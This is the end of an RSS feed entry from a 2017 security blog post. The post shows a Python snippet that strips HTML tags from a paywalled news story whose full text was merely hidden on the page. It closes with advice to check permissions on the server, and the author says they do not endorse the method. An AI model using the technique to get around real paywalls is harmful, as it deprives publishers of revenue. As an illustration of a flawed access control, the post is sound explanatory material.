&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;story&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;find_all&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;p&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;prep&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;stripExtra&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;re&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sub&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;[a-zA-Z/]*&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stripExtra&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/publicoStory/pythonInAction.png&quot; alt=&quot;Article from the Script&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To summarize, if you are building a web portal. Check permissions first hand and don’t just hide information. A simple mitigation for this issue is to, when clicking on the button to read the whole story an AJAX request is made to the server where is going to check the login information. This will help the changes not be so abrupt to the application.
Also, this is just an example of what could happen I don’t endorse this method and if you really want to read some the news on this or another paid website, you should contribuite to that newspapper so they can keep doing their good job.&lt;/p&gt;

</description>
        <pubDate>Sun, 09 Jul 2017 23:00:00 +0000</pubDate>
        <link>http://www.0x90.zone/javascript/2017/07/09/How-To-Not-Implement-Security.html</link>
        <guid isPermaLink="true">http://www.0x90.zone/javascript/2017/07/09/How-To-Not-Implement-Security.html</guid>
        
        
        <category>JavaScript</category>
        
      </item>
    
  </channel>
</rss>
